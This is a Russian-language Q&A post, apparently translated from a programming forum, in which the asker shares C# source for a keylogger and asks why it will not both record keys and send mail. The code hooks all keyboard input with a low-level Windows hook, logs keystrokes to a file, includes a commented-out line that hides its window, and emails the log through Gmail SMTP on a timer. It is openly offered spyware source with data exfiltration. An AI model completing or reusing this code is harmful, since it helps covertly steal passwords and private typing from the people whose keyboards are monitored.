My Console KeyLogger с отправителем электронной почты клиента SMTP не работает - PullRequest
0 голосов
/ 01 апреля 2019

Я создаю кейлоггер, который сохраняет все ключи, помещенные в файл, затем я настраиваю его на автоматическую отправку электронного письма с файлом .txt, но он просто сохраняет ключи, но не отправляет электронное письмо. Когда я удаляю «Application.Run ();» Метод отправляет электронную почту, но не сохраняет нажатые клавиши. Я понятия не имею, как это исправить. Спасибо с наилучшими пожеланиями.

Я попытался удалить Application.Run (); но затем он перестает сохранять нажатые клавиши, но когда я возвращаю его обратно, он останавливает процесс отправки электронной почты. Если один работает, другие нет.

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    static void Main(string[] args)
    {
        var handle = GetConsoleWindow();
        Application.Run();
        // Hide
        //ShowWindow(handle, SW_HIDE);

        _hookID = SetHook(_proc);
        UnhookWindowsHookEx(_hookID);


        MailMessage mail = new MailMessage();
        SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
        mail.From = new MailAddress("myemail@gmail.com");
        mail.To.Add("receiveremail@gmail.com");
        mail.Subject = "Test Mail - 1";
        mail.Body = "mail with attachment";

        System.Net.Mail.Attachment attachment;
        attachment = new System.Net.Mail.Attachment("d:/log.txt");
        mail.Attachments.Add(attachment);

        SmtpServer.Port = 587;
        SmtpServer.Credentials = new System.Net.NetworkCredential("email", "password");
        SmtpServer.EnableSsl = true;

        while (true)
        {
            if (DateTime.Now.Hour == 10 && DateTime.Now.Minute == 51)
            {

                SmtpServer.Send(mail);

                Console.WriteLine("Success");
                break;
            }
        }

    }

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }

    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);

            StreamWriter sw = new StreamWriter(@"d:/" + @"\log.txt", true);
            //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    const int SW_HIDE = 0;
}

Я рекомендую отправлять электронную почту в точный час и регистрировать ключи в одном приложении, я знаю, что могу попробовать это в двух разных приложениях, но это не то, что нужно. С наилучшими пожеланиями!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...